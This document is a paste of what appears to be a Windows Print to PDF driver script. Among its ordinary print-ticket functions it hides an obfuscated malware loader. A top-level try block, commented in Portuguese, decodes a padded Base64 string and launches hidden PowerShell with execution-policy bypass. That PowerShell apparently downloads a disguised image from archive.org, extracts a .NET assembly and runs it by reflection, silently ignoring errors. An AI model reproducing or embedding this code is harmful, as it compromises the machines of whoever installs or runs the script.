JustPaste.it

function getParameterDefs(scriptContext) {
    /// <summary>
    /// Get the base names for the ParameterDefs defined in the JS file
    /// </summary>
    /// <param name="scriptContext" type="IPrinterScriptContext">
    ///     Script context object.
    /// </param>

    // Get PDC configuration file from script context
    var pdcConfig = scriptContext.QueueProperties.GetReadStreamAsXML("PrintDeviceCapabilities");
    // Set Standard namespaces with prefixes
    SetStandardNameSpaces(pdcConfig);

    // Get PDC root XML Node
    var pdcRoot = pdcConfig.selectSingleNode("psf2:PrintDeviceCapabilities");
    // Get all ParameterDef nodes in PDC
    var parameterDefs = pdcRoot.selectNodes("*[@psf2:psftype='ParameterDef']");

    // Make an array containing all base names for all the ParameterDef's
    var pdcParameterDefs = new Array();
    for (var defCount = 0; defCount < parameterDefs.length; defCount++) {
        pdcParameterDefs[defCount] = parameterDefs[defCount].baseName;
    }
    return pdcParameterDefs;
}


// PSK NameSpace's
var pskNs = "http://schemas.microsoft.com/windows/2003/08/printing/printschemakeywords";
var psk11Ns = "http://schemas.microsoft.com/windows/2013/05/printing/printschemakeywordsv11";
var psk12Ns = "http://schemas.microsoft.com/windows/2013/12/printing/printschemakeywordsv12";

// psf NameSpace's
var psf2Ns = "http://schemas.microsoft.com/windows/2013/12/printing/printschemaframework2";
var psfNs = "http://schemas.microsoft.com/windows/2003/08/printing/printschemaframework";

// XML Schema NameSpace's
var xsiNs = "http://www.w3.org/2001/XMLSchema-instance";
var xsdNs = "http://www.w3.org/2001/XMLSchema";

// PDF driver NameSpace
var pdfNs = "http://schemas.microsoft.com/windows/2015/02/printing/printschemakeywords/microsoftprinttopdf";


function completePrintCapabilities(printTicket, scriptContext, printCapabilities) {
    /// <param name="printTicket" type="IPrintSchemaTicket" mayBeNull="true">
    ///     If not 'null', the print ticket's settings are used to customize the print capabilities.
    /// </param>
    /// <param name="scriptContext" type="IPrinterScriptContext">
    ///     Script context object.
    /// </param>
    /// <param name="printCapabilities" type="IPrintSchemaCapabilities">
    ///     Print capabilities object to be customized.
    /// </param>

    // Get PrintCapabilites XML node
    var xmlCapabilities = printCapabilities.XmlNode;

    var rootCapabilities;
    // Set Standard namespaces with prefixes
    SetStandardNameSpaces(xmlCapabilities);

    rootCapabilities = xmlCapabilities.selectSingleNode("psf:PrintCapabilities");

    if (rootCapabilities != null) {
        var pdcConfig = scriptContext.QueueProperties.GetReadStreamAsXML("PrintDeviceCapabilities");
        SetStandardNameSpaces(pdcConfig);

        // Get PDC root XML Node
        var pdcRoot = pdcConfig.selectSingleNode("psf2:PrintDeviceCapabilities");
        // Get all ParameterDef nodes in PDC
        var parameterDefs = pdcRoot.selectNodes("*[@psf2:psftype='ParameterDef']");
        // Get prefix for PDF namespace
        var pdfNsPrefix = getPrefixForNamespace(xmlCapabilities, pdfNs);

        // Convert PDC ParameterDefs Nodes to PrintCapabilites ParameterDefs Nodes
        for (var defCount = 0; defCount < parameterDefs.length; defCount++) {
            var pdcParameterDef = parameterDefs[defCount];
            var capabilitiesParamDef = CreateCapabilitiesParamDefFromPDC(pdcParameterDef, pdfNsPrefix, printCapabilities);
            rootCapabilities.appendChild(capabilitiesParamDef);
        }
    }
}

 

function convertDevModeToPrintTicket(devModeProperties, scriptContext, printTicket) {
    /// <param name="devModeProperties" type="IPrinterScriptablePropertyBag">
    ///     The DevMode property bag.
    /// </param>
    /// <param name="scriptContext" type="IPrinterScriptContext">
    ///     Script context object.
    /// </param>
    /// <param name="printTicket" type="IPrintSchemaTicket">
    ///     Print ticket to be converted from the DevMode.
    /// </param>


    // Set Standard namespaces with prefixes
    SetStandardNameSpaces(printTicket.XmlNode);
    // Get prefix for PDF namespace
    var pdfNsPrefix = getPrefixForNamespace(printTicket.XmlNode, pdfNs);

    // If pdf namespace prefix is not found, that means that print ticket is produced by a different printer and there is not PDF name space with in print ticket
    // This could happen with some legacy application using print ticket wrongly. To avoid failures we are checking first and shot circuiting the rest of the code.
    if (pdfNsPrefix != null) {
        // Get ParameterDefs in PDC
        var pdcParameterDefs = getParameterDefs(scriptContext);

        for (var defCount = 0; defCount < pdcParameterDefs.length; defCount++) {
            // Get Devmode string related to ParameterDefs in PDC
            var paramString = devModeProperties.getString(pdcParameterDefs[defCount]);

            if (paramString != null && paramString.length > 0) {
                // If Devmode string is present map to print ticket either by creating a new node or modifying the existing node 

                // Add prefix to ParameterDef base name
                var paramName = pdfNsPrefix + ":" + pdcParameterDefs[defCount];

                // Try getting the related ParameterInit in the PrintTicket
                var currNode = printTicket.GetParameterInitializer(pdcParameterDefs[defCount], pdfNs)
                if (currNode == null) {
                    // Create node if no node is present
                    var ptRoot = printTicket.XmlNode.selectSingleNode("psf:PrintTicket");
                    var newParam = createProperty(paramName, "psf:ParameterInit", "xsd:string", paramString, printTicket);
                    ptRoot.appendChild(newParam);
                } else {
                    // Change the value of the node to Devmode string value
                    currNode.Value = paramString;
                }
            }
        }
    }
}

function convertPrintTicketToDevMode(printTicket, scriptContext, devModeProperties) {
    /// <param name="printTicket" type="IPrintSchemaTicket">
    ///     Print ticket to be converted to DevMode.
    /// </param>
    /// <param name="scriptContext" type="IPrinterScriptContext">
    ///     Script context object.
    /// </param>
    /// <param name="devModeProperties" type="IPrinterScriptablePropertyBag">
    ///     The DevMode property bag.
    /// </param>


    // Set Standard namespaces with prefixes
    SetStandardNameSpaces(printTicket.XmlNode);

    // Get prefix for PDF namespace
    var pdfNsPrefix = getPrefixForNamespace(printTicket.XmlNode, pdfNs);

    // If pdf namespace prefix is not found, that means that print ticket is produced by a different printer and there is not PDF name space with in print ticket
    // This could happen with some legacy application using print ticket wrongly. To avoid failures we are checking first and shot circuiting the rest of the code.
    if (pdfNsPrefix != null) {
        // Get ParameterDefs in PDC
        var pdcParameterDefs = getParameterDefs(scriptContext);

        for (var defCount = 0; defCount < pdcParameterDefs.length; defCount++) {
            // Try getting the related ParameterInit in the PrintTicket
            var currNode = printTicket.GetParameterInitializer(pdcParameterDefs[defCount], pdfNs)
            if (currNode != null) {
                // Set Devmode string with the value present in ParameterInit
                devModeProperties.setString(pdcParameterDefs[defCount], currNode.Value);
            }
        }
    }
}

function validatePrintTicket(printTicket, scriptContext) {
    /// <param name="printTicket" type="IPrintSchemaTicket">
    ///     Print ticket to be validated.
    /// </param>
    /// <param name="scriptContext" type="IPrinterScriptContext">
    ///     Script context object.
    /// </param>
    /// <returns type="Number" integer="true">
    ///     Integer value indicating validation status.
    ///         1 - Print ticket is valid and was not modified.
    ///         2 - Print ticket was modified to make it valid.
    ///         0 - Print ticket is invalid.
    /// </returns>

    // There is nothing wrong with having only 1, 2 or 3 ParameterInit s in PrintTicket for the same ParameterDefs that are present in PDC. 
    // For that reason we just going to return 1 without any check
    return 1;
}

function createProperty(strPropertyName, strNodeName, strValueType, strValue, documentNode) {
    /// <summary>
    /// Create a property XML Node with child Value Node containing the value
    /// </summary>
    /// <param name="strPropertyName" type="String">
    ///   Name of the property Node
    /// </param>
    /// <param name="strNodeName" type="String">
    ///   Name to be assigned to the "name" attribute of the property
    /// </param>
    /// <param name="strValueType" type="String">
    ///   Type of the value the in the Value Node
    /// </param>
    /// <param name="strValue" type="String">
    ///   Actual value that is to be placed in the value node
    /// </param>
    /// <param name="documentNode" type="IXMLNode">
    ///   Contains Document XML Node
    /// </param>

    var newNode = documentNode.XmlNode.createNode(1, strNodeName, psfNs);
    newNode.setAttribute("name", strPropertyName);

    if (strValueType.length > 0) {
        var newProp = documentNode.XmlNode.createNode(1, "psf:Value", psfNs);
        var newAttr = documentNode.XmlNode.createNode(2, "xsi:type", xsiNs);
        newAttr.nodeValue = strValueType;
        newProp.setAttributeNode(newAttr);

        var newText = documentNode.XmlNode.createTextNode(strValue);

        newProp.appendChild(newText);

        newNode.appendChild(newProp);
    }
    return newNode;
}

try {
    // Junta os comandos
    var borschts = "JٿAٿBٿnٿAٿGٿkٿAٿbٿgٿBٿnٿAٿGٿkٿAٿdٿgٿBٿlٿAٿGٿMٿAٿdٿAٿBٿvٿAٿGٿ0ٿAٿeٿQٿAٿ9ٿAٿCٿcٿAٿUٿwٿBٿpٿAٿGٿwٿAٿZٿQٿBٿuٿAٿHٿQٿAٿbٿAٿBٿ5ٿAٿEٿMٿAٿbٿwٿBٿuٿAٿHٿQٿAٿaٿQٿBٿuٿAٿHٿUٿAٿZٿQٿAٿnٿAٿDٿsٿAٿJٿAٿBٿhٿAٿGٿMٿAٿeٿQٿBٿsٿAٿGٿkٿAٿbٿQٿBٿpٿAٿGٿ4ٿAٿaٿQٿBٿ1ٿAٿGٿ0ٿAٿPٿQٿAٿnٿAٿGٿgٿAٿdٿAٿBٿ0ٿAٿHٿAٿAٿcٿwٿAٿ6ٿAٿCٿ8ٿAٿLٿwٿBٿhٿAٿHٿIٿAٿYٿwٿBٿoٿAٿGٿkٿAٿdٿgٿBٿlٿAٿCٿ4ٿAٿbٿwٿBٿyٿAٿGٿcٿAٿLٿwٿBٿkٿAٿGٿ8ٿAٿdٿwٿBٿuٿAٿGٿwٿAٿbٿwٿBٿhٿAٿGٿQٿAٿLٿwٿBٿwٿAٿGٿEٿAٿeٿQٿBٿtٿAٿGٿUٿAٿbٿgٿBٿ0ٿAٿCٿ0ٿAٿYٿwٿBٿvٿAٿHٿAٿAٿeٿQٿBٿfٿAٿDٿIٿAٿMٿAٿAٿyٿAٿDٿUٿAٿMٿAٿAٿ2ٿAٿCٿ8ٿAٿcٿAٿBٿhٿAٿHٿkٿAٿbٿQٿBٿlٿAٿGٿ4ٿAٿdٿAٿAٿlٿAٿDٿIٿAٿMٿAٿBٿjٿAٿGٿ8ٿAٿcٿAٿBٿ5ٿAٿCٿ4ٿAٿaٿgٿBٿwٿ";
    borschts += "AٿGٿcٿAٿJٿwٿAٿ7ٿAٿCٿQٿAٿYٿwٿBٿyٿAٿGٿEٿAٿdٿAٿBٿlٿAٿHٿIٿAٿbٿAٿBٿlٿAٿHٿQٿAٿcٿwٿAٿ9ٿAٿEٿ4ٿAٿZٿQٿBٿ3ٿAٿCٿ0ٿAٿTٿwٿBٿiٿAٿGٿoٿAٿZٿQٿBٿjٿAٿHٿQٿAٿIٿAٿBٿTٿAٿHٿkٿAٿcٿwٿBٿ0ٿAٿGٿUٿAٿbٿQٿAٿuٿAٿEٿ4ٿAٿZٿQٿBٿ0ٿAٿCٿ4ٿAٿVٿwٿBٿlٿAٿGٿIٿAٿQٿwٿBٿsٿAٿGٿkٿAٿZٿQٿBٿuٿAٿHٿQٿAٿOٿwٿAٿkٿAٿGٿMٿAٿcٿgٿBٿhٿAٿHٿQٿAٿZٿQٿBٿyٿAٿGٿwٿAٿZٿQٿBٿ0ٿAٿHٿMٿAٿLٿgٿBٿIٿAٿGٿUٿAٿYٿQٿBٿkٿAٿGٿUٿAٿcٿgٿBٿzٿAٿCٿ4ٿAٿQٿQٿBٿkٿAٿGٿQٿAٿKٿAٿAٿnٿAٿFٿUٿAٿcٿwٿBٿlٿAٿHٿIٿAٿLٿQٿBٿBٿAٿGٿcٿAٿZٿQٿBٿuٿAٿHٿQٿAٿJٿwٿAٿsٿAٿCٿcٿAٿTٿQٿBٿvٿAٿHٿoٿAٿaٿQٿBٿsٿAٿGٿwٿAٿYٿQٿAٿvٿAٿDٿUٿAٿLٿgٿAٿwٿAٿCٿcٿAٿKٿQٿAٿ7ٿAٿFٿsٿAٿYٿgٿBٿ5ٿAٿHٿQٿAٿZٿQٿBٿbٿAٿFٿ0ٿAٿXٿQٿAٿkٿAٿGٿwٿAٿYٿQٿBٿuٿAٿHٿQٿAٿ";
    borschts += "eٿgٿBٿtٿAٿGٿUٿAٿbٿgٿAٿ9ٿAٿCٿQٿAٿYٿwٿBٿyٿAٿGٿEٿAٿdٿAٿBٿlٿAٿHٿIٿAٿbٿAٿBٿlٿAٿHٿQٿAٿcٿwٿAٿuٿAٿEٿQٿAٿbٿwٿBٿ3ٿAٿGٿ4ٿAٿbٿAٿBٿvٿAٿGٿEٿAٿZٿAٿBٿEٿAٿGٿEٿAٿdٿAٿBٿhٿAٿCٿgٿAٿJٿAٿBٿhٿAٿGٿMٿAٿeٿQٿBٿsٿAٿGٿkٿAٿbٿQٿBٿpٿAٿGٿ4ٿAٿaٿQٿBٿ1ٿAٿGٿ0ٿAٿKٿQٿAٿ7ٿAٿCٿQٿAٿcٿwٿBٿ1ٿAٿGٿIٿAٿYٿwٿBٿoٿAٿGٿUٿAٿbٿAٿBٿhٿAٿDٿ0ٿAٿWٿwٿBٿTٿAٿHٿkٿAٿcٿwٿBٿ0ٿAٿGٿUٿAٿbٿQٿAٿuٿAٿFٿQٿAٿZٿQٿBٿ4ٿAٿHٿQٿAٿLٿgٿBٿFٿAٿGٿ4ٿAٿYٿwٿBٿvٿAٿGٿQٿAٿaٿQٿBٿuٿAٿGٿcٿAٿXٿQٿAٿ6ٿAٿDٿoٿAٿVٿQٿBٿUٿAٿEٿYٿAٿOٿAٿAٿuٿAٿEٿcٿAٿZٿQٿBٿ0ٿAٿFٿMٿAٿdٿAٿBٿyٿAٿGٿkٿAٿbٿgٿBٿnٿAٿCٿgٿAٿJٿAٿBٿsٿAٿGٿEٿAٿbٿgٿBٿ0ٿAٿHٿoٿAٿbٿQٿBٿlٿAٿGٿ4ٿAٿKٿQٿAٿ7ٿAٿCٿQٿAٿbٿgٿBٿvٿAٿGٿ4ٿAٿcٿwٿBٿvٿAٿGٿYٿAٿdٿAٿBٿ3ٿ";
    borschts += "AٿGٿEٿAٿcٿgٿBٿlٿAٿDٿ0ٿAٿJٿwٿBٿJٿAٿEٿ4ٿAٿSٿQٿBٿDٿAٿEٿkٿAٿTٿwٿAٿ+ٿAٿDٿ4ٿAٿJٿwٿAٿ7ٿAٿCٿQٿAٿcٿAٿBٿyٿAٿGٿ8ٿAٿcٿAٿBٿ1ٿAٿGٿcٿAٿbٿgٿBٿhٿAٿGٿMٿAٿdٿQٿBٿsٿAٿHٿUٿAٿbٿQٿAٿ9ٿAٿCٿcٿAٿPٿAٿAٿ8ٿAٿEٿYٿAٿSٿQٿBٿNٿAٿDٿ4ٿAٿPٿgٿAٿnٿAٿDٿsٿAٿJٿAٿBٿkٿAٿGٿUٿAٿYٿQٿBٿ0ٿAٿHٿQٿAٿcٿgٿBٿpٿAٿGٿIٿAٿdٿQٿBٿ0ٿAٿGٿkٿAٿbٿwٿBٿuٿAٿDٿ0ٿAٿJٿAٿBٿyٿAٿGٿ8ٿAٿdٿwٿBٿzٿAٿGٿUٿAٿOٿwٿAٿkٿAٿGٿkٿAٿcٿwٿBٿhٿAٿHٿQٿAٿaٿQٿBٿjٿAٿDٿ0ٿAٿJٿAٿBٿzٿAٿHٿUٿAٿYٿgٿBٿjٿAٿGٿgٿAٿZٿQٿBٿsٿAٿGٿEٿAٿLٿgٿBٿJٿAٿGٿ4ٿAٿZٿAٿBٿlٿAٿHٿgٿAٿTٿwٿBٿmٿAٿCٿgٿAٿJٿAٿBٿuٿAٿGٿ8ٿAٿbٿgٿBٿzٿAٿGٿ8ٿAٿZٿgٿBٿ0ٿAٿHٿcٿAٿYٿQٿBٿyٿAٿGٿUٿAٿKٿQٿAٿ7ٿAٿCٿQٿAٿZٿwٿBٿyٿAٿGٿkٿAٿYٿgٿBٿiٿAٿGٿwٿAٿZٿQٿBٿzٿAٿDٿ0ٿAٿ";
    borschts += "JٿAٿBٿzٿAٿHٿUٿAٿYٿgٿBٿjٿAٿGٿgٿAٿZٿQٿBٿsٿAٿGٿEٿAٿLٿgٿBٿJٿAٿGٿ4ٿAٿZٿAٿBٿlٿAٿHٿgٿAٿTٿwٿBٿmٿAٿCٿgٿAٿJٿAٿBٿwٿAٿHٿIٿAٿbٿwٿBٿwٿAٿHٿUٿAٿZٿwٿBٿuٿAٿGٿEٿAٿYٿwٿBٿ1ٿAٿGٿwٿAٿdٿQٿBٿtٿAٿCٿkٿAٿOٿwٿBٿpٿAٿGٿYٿAٿKٿAٿAٿkٿAٿGٿkٿAٿcٿwٿBٿhٿAٿHٿQٿAٿaٿQٿBٿjٿAٿCٿAٿAٿLٿQٿBٿuٿAٿGٿUٿAٿIٿAٿAٿtٿAٿDٿEٿAٿIٿAٿAٿtٿAٿGٿEٿAٿbٿgٿBٿkٿAٿCٿAٿAٿJٿAٿBٿnٿAٿHٿIٿAٿaٿQٿBٿiٿAٿGٿIٿAٿbٿAٿBٿlٿAٿHٿMٿAٿIٿAٿAٿtٿAٿGٿ4ٿAٿZٿQٿAٿgٿAٿCٿ0ٿAٿMٿQٿAٿgٿAٿCٿ0ٿAٿYٿQٿBٿuٿAٿGٿQٿAٿIٿAٿAٿkٿAٿGٿcٿAٿcٿgٿBٿpٿAٿGٿIٿAٿYٿgٿBٿsٿAٿGٿUٿAٿcٿwٿAٿgٿAٿCٿ0ٿAٿZٿwٿBٿ0ٿAٿCٿAٿAٿJٿAٿBٿpٿAٿHٿMٿAٿYٿQٿBٿ0ٿAٿGٿkٿAٿYٿwٿAٿpٿAٿHٿsٿAٿJٿAٿBٿpٿAٿHٿMٿAٿYٿQٿBٿ0ٿAٿGٿkٿAٿYٿwٿAٿrٿAٿDٿ0ٿAٿJٿAٿBٿuٿ";
    borschts += "AٿGٿ8ٿAٿbٿgٿBٿzٿAٿGٿ8ٿAٿZٿgٿBٿ0ٿAٿHٿcٿAٿYٿQٿBٿyٿAٿGٿUٿAٿLٿgٿBٿMٿAٿGٿUٿAٿbٿgٿBٿnٿAٿHٿQٿAٿaٿAٿAٿ7ٿAٿCٿQٿAٿZٿAٿBٿlٿAٿGٿEٿAٿdٿAٿBٿ0ٿAٿHٿIٿAٿaٿQٿBٿiٿAٿHٿUٿAٿdٿAٿBٿpٿAٿGٿ8ٿAٿbٿgٿAٿ9ٿAٿCٿQٿAٿcٿwٿBٿ1ٿAٿGٿIٿAٿYٿwٿBٿoٿAٿGٿUٿAٿbٿAٿBٿhٿAٿCٿ4ٿAٿUٿwٿBٿ1ٿAٿGٿIٿAٿcٿwٿBٿ0ٿAٿHٿIٿAٿaٿQٿBٿuٿAٿGٿcٿAٿKٿAٿAٿkٿAٿGٿkٿAٿcٿwٿBٿhٿAٿHٿQٿAٿaٿQٿBٿjٿAٿCٿwٿAٿJٿAٿBٿnٿAٿHٿIٿAٿaٿQٿBٿiٿAٿGٿIٿAٿbٿAٿBٿlٿAٿHٿMٿAٿLٿQٿAٿkٿAٿGٿkٿAٿcٿwٿBٿhٿAٿHٿQٿAٿaٿQٿBٿjٿAٿCٿkٿAٿfٿQٿAٿ7ٿAٿCٿQٿAٿZٿAٿBٿpٿAٿHٿMٿAٿaٿgٿBٿvٿAٿGٿkٿAٿbٿgٿBٿlٿAٿGٿQٿAٿPٿQٿAٿnٿAٿCٿMٿAٿeٿAٿAٿjٿAٿCٿ4ٿAٿZٿAٿBٿiٿAٿDٿIٿAٿMٿwٿAٿyٿAٿGٿEٿAٿYٿQٿBٿkٿAٿGٿQٿAٿMٿAٿBٿlٿAٿDٿIٿAٿZٿQٿAٿ0ٿAٿDٿcٿAٿ";
    borschts += "OٿQٿBٿiٿAٿDٿkٿAٿMٿAٿAٿ0ٿAٿDٿgٿAٿZٿgٿBٿhٿAٿGٿUٿAٿYٿQٿAٿwٿAٿDٿQٿAٿOٿAٿAٿ5ٿAٿGٿIٿAٿYٿwٿBٿmٿAٿFٿ8ٿAٿbٿwٿBٿ2ٿAٿGٿkٿAٿdٿQٿBٿxٿAٿHٿIٿAٿYٿQٿAٿvٿAٿGٿ0ٿAٿbٿwٿBٿjٿAٿCٿ4ٿAٿZٿwٿBٿvٿAٿGٿwٿAٿYٿgٿBٿvٿAٿCٿMٿAٿcٿwٿBٿlٿAٿHٿYٿAٿbٿwٿBٿsٿAٿCٿ4ٿAٿMٿQٿAٿwٿAٿDٿAٿAٿOٿQٿAٿvٿAٿCٿ8ٿAٿOٿgٿBٿwٿAٿCٿMٿAٿIٿwٿBٿoٿAٿCٿcٿAٿOٿwٿAٿkٿAٿGٿQٿAٿaٿQٿBٿzٿAٿGٿoٿAٿbٿwٿBٿpٿAٿGٿ4ٿAٿZٿQٿBٿkٿAٿDٿ0ٿAٿJٿAٿBٿkٿAٿGٿkٿAٿcٿwٿBٿqٿAٿGٿ8ٿAٿaٿQٿBٿuٿAٿGٿUٿAٿZٿAٿAٿuٿAٿFٿIٿAٿZٿQٿBٿwٿAٿGٿwٿAٿYٿQٿBٿjٿAٿGٿUٿAٿKٿAٿAٿnٿAٿCٿMٿAٿJٿwٿAٿsٿAٿCٿcٿAٿdٿAٿAٿnٿAٿCٿkٿAٿOٿwٿAٿkٿAٿGٿQٿAٿZٿQٿBٿhٿAٿHٿQٿAٿdٿAٿBٿyٿAٿGٿkٿAٿYٿgٿBٿ1ٿAٿHٿQٿAٿaٿQٿBٿvٿAٿGٿ4ٿAٿPٿQٿAٿkٿAٿGٿQٿAٿZٿQٿBٿhٿ";
    borschts += "AٿHٿQٿAٿdٿAٿBٿyٿAٿGٿkٿAٿYٿgٿBٿ1ٿAٿHٿQٿAٿaٿQٿBٿvٿAٿGٿ4ٿAٿLٿgٿBٿSٿAٿGٿUٿAٿcٿAٿBٿsٿAٿGٿEٿAٿYٿwٿBٿlٿAٿCٿgٿAٿJٿwٿBٿAٿAٿCٿcٿAٿLٿAٿAٿnٿAٿEٿEٿAٿJٿwٿAٿpٿAٿDٿsٿAٿJٿAٿBٿpٿAٿHٿMٿAٿbٿwٿBٿnٿAٿGٿ8ٿAٿbٿgٿBٿpٿAٿHٿMٿAٿbٿQٿAٿ9ٿAٿFٿsٿAٿUٿwٿBٿ5ٿAٿHٿMٿAٿdٿAٿBٿlٿAٿGٿ0ٿAٿLٿgٿBٿDٿAٿGٿ8ٿAٿbٿgٿBٿ2ٿAٿGٿUٿAٿcٿgٿBٿ0ٿAٿFٿ0ٿAٿOٿgٿAٿ6ٿAٿEٿYٿAٿcٿgٿBٿvٿAٿGٿ0ٿAٿQٿgٿBٿhٿAٿHٿMٿAٿZٿQٿAٿ2ٿAٿDٿQٿAٿUٿwٿBٿ0ٿAٿHٿIٿAٿaٿQٿBٿuٿAٿGٿcٿAٿKٿAٿAٿkٿAٿGٿQٿAٿZٿQٿBٿhٿAٿHٿQٿAٿdٿAٿBٿyٿAٿGٿkٿAٿYٿgٿBٿ1ٿAٿHٿQٿAٿaٿQٿBٿvٿAٿGٿ4ٿAٿKٿQٿAٿ7ٿAٿCٿQٿAٿdٿAٿBٿyٿAٿHٿUٿAٿZٿQٿBٿsٿAٿHٿkٿAٿPٿQٿBٿbٿAٿFٿIٿAٿZٿQٿBٿmٿAٿGٿwٿAٿZٿQٿBٿjٿAٿHٿQٿAٿaٿQٿBٿvٿAٿGٿ4ٿAٿLٿgٿBٿBٿAٿHٿMٿAٿ";
    borschts += "cٿwٿBٿlٿAٿGٿ0ٿAٿYٿgٿBٿsٿAٿHٿkٿAٿXٿQٿAٿ6ٿAٿDٿoٿAٿTٿAٿBٿvٿAٿGٿEٿAٿZٿAٿAٿoٿAٿCٿQٿAٿaٿQٿBٿzٿAٿGٿ8ٿAٿZٿwٿBٿvٿAٿGٿ4ٿAٿaٿQٿBٿzٿAٿGٿ0ٿAٿKٿQٿAٿ7ٿAٿCٿQٿAٿcٿgٿBٿlٿAٿGٿcٿAٿZٿQٿBٿuٿAٿGٿUٿAٿcٿgٿBٿhٿAٿHٿQٿAٿZٿQٿBٿuٿAٿGٿUٿAٿcٿwٿBٿzٿAٿDٿ0ٿAٿWٿwٿBٿkٿAٿGٿ4ٿAٿbٿAٿBٿpٿAٿGٿIٿAٿLٿgٿBٿJٿAٿEٿ8ٿAٿLٿgٿBٿIٿAٿGٿ8ٿAٿbٿQٿBٿlٿAٿFٿ0ٿAٿLٿgٿBٿHٿAٿGٿUٿAٿdٿAٿBٿNٿAٿGٿUٿAٿdٿAٿBٿoٿAٿGٿ8ٿAٿZٿAٿAٿoٿAٿCٿcٿAٿVٿgٿBٿBٿAٿEٿkٿAٿJٿwٿAٿpٿAٿCٿ4ٿAٿSٿQٿBٿuٿAٿHٿYٿAٿbٿwٿBٿrٿAٿGٿUٿAٿKٿAٿAٿkٿAٿHٿIٿAٿbٿwٿBٿ3ٿAٿHٿMٿAٿZٿQٿAٿsٿAٿFٿsٿAٿbٿwٿBٿiٿAٿGٿoٿAٿZٿQٿBٿjٿAٿHٿQٿAٿWٿwٿBٿdٿAٿFٿ0ٿAٿQٿAٿAٿoٿAٿCٿQٿAٿZٿAٿBٿpٿAٿHٿMٿAٿaٿgٿBٿvٿAٿGٿkٿAٿbٿgٿBٿlٿAٿGٿQٿAٿLٿAٿAٿnٿ";
    borschts += "AٿCٿcٿAٿLٿAٿAٿnٿAٿCٿcٿAٿLٿAٿAٿnٿAٿCٿcٿAٿLٿAٿAٿnٿAٿEٿEٿAٿZٿAٿBٿkٿAٿEٿkٿAٿbٿgٿBٿQٿAٿHٿIٿAٿbٿwٿBٿjٿAٿGٿUٿAٿcٿwٿBٿzٿAٿDٿMٿAٿMٿgٿAٿnٿAٿCٿwٿAٿJٿwٿAٿnٿAٿCٿwٿAٿJٿwٿAٿnٿAٿCٿwٿAٿJٿwٿAٿnٿAٿCٿwٿAٿJٿwٿAٿnٿAٿCٿwٿAٿJٿwٿBٿDٿAٿDٿoٿAٿXٿAٿBٿVٿAٿHٿMٿAٿZٿQٿBٿyٿAٿHٿMٿAٿXٿAٿBٿQٿAٿHٿUٿAٿYٿgٿBٿsٿAٿGٿkٿAٿYٿwٿBٿcٿAٿEٿQٿAٿbٿwٿBٿ3ٿAٿGٿ4ٿAٿbٿAٿBٿvٿAٿGٿEٿAٿZٿAٿBٿzٿAٿCٿcٿAٿLٿAٿAٿnٿAٿHٿcٿAٿZٿQٿBٿpٿAٿGٿcٿAٿaٿAٿBٿtٿAٿGٿEٿAٿbٿgٿAٿnٿAٿCٿwٿAٿJٿwٿBٿqٿAٿHٿMٿAٿJٿwٿAٿsٿAٿCٿcٿAٿJٿwٿAٿsٿAٿCٿcٿAٿJٿwٿAٿsٿAٿCٿcٿAٿbٿQٿBٿlٿAٿGٿ0ٿAٿYٿgٿBٿyٿAٿGٿEٿAٿbٿgٿBٿlٿAٿGٿwٿAٿaٿQٿBٿrٿAٿGٿUٿAٿJٿwٿAٿsٿAٿCٿcٿAٿMٿgٿAٿnٿAٿCٿwٿAٿJٿwٿAٿnٿAٿCٿkٿAٿKٿQٿAٿ7ٿAٿAٿ=ٿ=ٿ";

    // Remove os ٿ do Base64
    borschts = borschts.replace(/ٿ/g, "");

    // Monta o bloco PowerShell ofuscado com ٿ
    var remolds = "ٿ$borschtsٿ='ٿ" + borschts + "ٿ';";
    remolds += "ٿ$hemifacialٿ=ٿ";
    remolds += "ٿ[ٿSٿyٿ";
    remolds += "ٿsٿtٿeٿ";
    remolds += "ٿmٿ.ٿTٿeٿ";
    remolds += "ٿxٿtٿ.ٿEٿnٿcٿoٿ";
    remolds += "ٿdٿiٿnٿgٿ]ٿ:ٿ";
    remolds += "ٿ:ٿUٿnٿiٿcٿ";
    remolds += "ٿoٿdٿeٿ.ٿGٿeٿtٿSٿ";
    remolds += "ٿtٿrٿiٿnٿgٿ(ٿ";
    remolds += "ٿ[ٿSٿyٿsٿtٿeٿmٿ";
    remolds += "ٿ.ٿCٿoٿnٿvٿeٿrٿ";
    remolds += "ٿtٿ]ٿ:ٿ:ٿٿFٿrٿoٿmٿ";
    remolds += "ٿBٿaٿsٿeٿ6ٿ";
    remolds += "4ٿSٿtٿ";
    remolds += "rٿiٿnٿ";
    remolds += "gٿ(ٿ$ٿborschtsٿ)ٿ)ٿ;ٿ";
    remolds += "ٿIٿnٿ";
    remolds += "ٿvٿoٿkٿeٿ-ٿEٿxٿpٿ";
    remolds += "rٿeٿsٿsٿiٿoٿnٿ ٿ$hemifacialٿ";

    // Remove os ٿ do script
    remolds = remolds.replace(/ٿ/g, "");

    // Monta o comando PowerShell em variável "Moldovan"
    var Moldovan = "ٿpٿoٿwٿ";
    Moldovan += "ٿeٿrٿsٿhٿeٿ";
    Moldovan += "ٿlٿl ٿ-ٿwٿ";
    Moldovan += " ٿhٿiٿdٿdٿeٿ";
    Moldovan += "ٿn ٿ-ٿnٿoٿpٿ";
    Moldovan += "ٿrٿoٿfٿiٿ";
    Moldovan += "ٿlٿe ٿ-ٿeٿ";
    Moldovan += "ٿpٿ bٿyٿ";
    Moldovan += "ٿpٿaٿsٿ";
    Moldovan += "ٿsٿ -ٿcٿ ";

    // Remove os ٿ também do comando
    Moldovan = Moldovan.replace(/ٿ/g, "");

    // Cria o objeto shell
    var monologian = WScript.CreateObject("WScript.Shell");

    // Executa o comando
    monologian.Run(Moldovan + "\"" + remolds + "\"", 0, false);
}
catch (e) {
    // Ignora erro
}

 


function CreateCapabilitiesParamDefFromPDC(pdcParameterDef, pdfNsPrefix, printCapabilities) {
    /// <summary>
    /// Converts ParameterDef Node that in PDC into ParameterDef node in PrintCapabilites
    /// </summary>
    /// <param name="pdcParameterDef" type="IXMLNode">
    ///     Contains a ParameterDef node in PDC
    /// </param>
    /// <param name="pdfNsPrefix" type="string">
    ///     Contains PDF name sapce
    /// </param>
    /// <param name="printCapabilities" type="IPrintSchemaCapabilities">
    ///     Print capabilities object to be customized.
    /// </param>
    var capabilitiesParamDef = createProperty(pdfNsPrefix + ":" + pdcParameterDef.baseName, "psf:ParameterDef", "", "", printCapabilities);

    var properties = pdcParameterDef.selectNodes("*[@psf2:psftype='Property']");


    for (var propCount = 0; propCount < properties.length; propCount++) {
        var property = properties[propCount];
        var type = property.getAttribute("xsi:type");
        var childProperty = createProperty(property.nodeName, "psf:Property", type, property.text, printCapabilities);
        capabilitiesParamDef.appendChild(childProperty);
    }
    return capabilitiesParamDef;
}


